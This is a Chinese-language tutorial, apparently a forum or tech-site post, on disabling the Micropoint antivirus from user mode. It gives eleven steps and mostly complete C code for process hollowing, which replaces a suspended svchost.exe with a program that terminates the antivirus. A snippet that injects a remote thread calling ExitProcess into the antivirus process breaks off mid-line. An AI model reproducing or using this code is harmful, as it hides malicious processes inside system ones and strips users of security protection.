Ring3下WX方法結束微點2009
微點的主動防御沒有攔截一些系統(tǒng)進程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危險動作。因為這些進程通常是不危險的,我們要做的就是把它們中的某個變成危險進程,然后用這個危險進程猥褻微點。即用進程注入的方法把svhost.exe偷換成TerminateMP.exe(結束微點的程序),也就是所謂的借尸還魂。
操作步驟如下:
1.調用CretaeProcess函數(shù)創(chuàng)建第一個進程(svhost.exe),該進程處于suspend模式(記得參數(shù)CREATE_SUSPENDED ).
2.調用GetThreadContext函數(shù)獲取第一個進程的各個寄存器值.其中EBX的值指向的就是該進程的PEB,EAX寄存器保存了該進程的入口點 (entry point)
3.從PEB中獲取該進程的 base_address, [ebx+8]的值
lkd> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void //映像基址 ... ... |
4.把第二個進程(TerminateMP.exe)讀入到內存中,用ReadFile函數(shù)調用即可,注意如果文件對齊和內存對齊不一樣的話,必須做必要的對齊操作.
5.如果第二個進程和第一個進程有相同的基地址(base-address),并且第二個進程的大小小于第一個進程,則只要簡單的調用WriteProcessMemory函數(shù)覆蓋掉第一個進程的進程空間,然后恢復運行即可.
6.否則的話,先調用ZwUnmapViewOfSection把第一個進程的鏡像映射去掉,該函數(shù)由ntdll.dll導出.然后調用VertualAllocEX函數(shù)在第一個進程內存空間里面申請足夠大的內存.然后拷貝第二個進程的鏡像到該空間(利用WriteProcessMemory函數(shù))
7.假如調用ZwUnmapViewOfSection操作失敗,但是第二個exe是可重定位的.則可以在第一個進程空間里面的任何位置開始申請足夠大的空間,在該分配的空間對第二個進程進行重定位.然后拷貝重定位后的exe到第一個進程空間里,開始位置就是申請的空間位置.
8.用第二個進程(TerminateMP.exe)的base-address修正PEB中相應的值,位置是[ebx+8]
9.用EAX設置第二個進程( TerminateMP.exe )的入口點地址
10.調用SetThreadContext函數(shù)修正
11.調用ResumeThread函數(shù)恢復svhost.exe運行.
實現(xiàn)代碼可以參考 http://bbs.pediy.com/showthread.php?t=41873
這里提供一份更簡短的代碼,便于看清操作過程
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,
"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ|
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);
::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//檢查PE結構
//以掛起方式進程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,
NULL,&si,&pi);
if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果調用失敗
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof
(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡進程內存模塊
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替換傀儡進程內存數(shù)據(jù)
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.
SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 頭 + PE 頭 + 區(qū)塊表的總大小
//定位到區(qū)塊頭
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各個區(qū)塊
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],
sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}
context.ContextFlags = CONTEXT_FULL;
//重置 執(zhí)行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
} |
用以上方法啟動 TerminateMP.exe之后,系統(tǒng)中沒有TerminateMP.exe進程,只有被替換了的svhost.exe
在svhost.exe進程中可以輕松地用 OpenProcess打開微點的進程,但是要結束微點的進程還是很麻煩的(Ring3下)。某90后用創(chuàng)建遠程錯誤線程的方法達到了目的(這么挫的方法都想得出來)。
EnableDebugPriv(_T("SeDebugPrivilege"));
HMODULE hModule = GetModuleHandle("kernel32.dll");
unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess");
for (int i=0;i |
完整代碼: 進程注入InjectProcess.rar 結束微點TerminateMP.rar
【編輯推薦】


















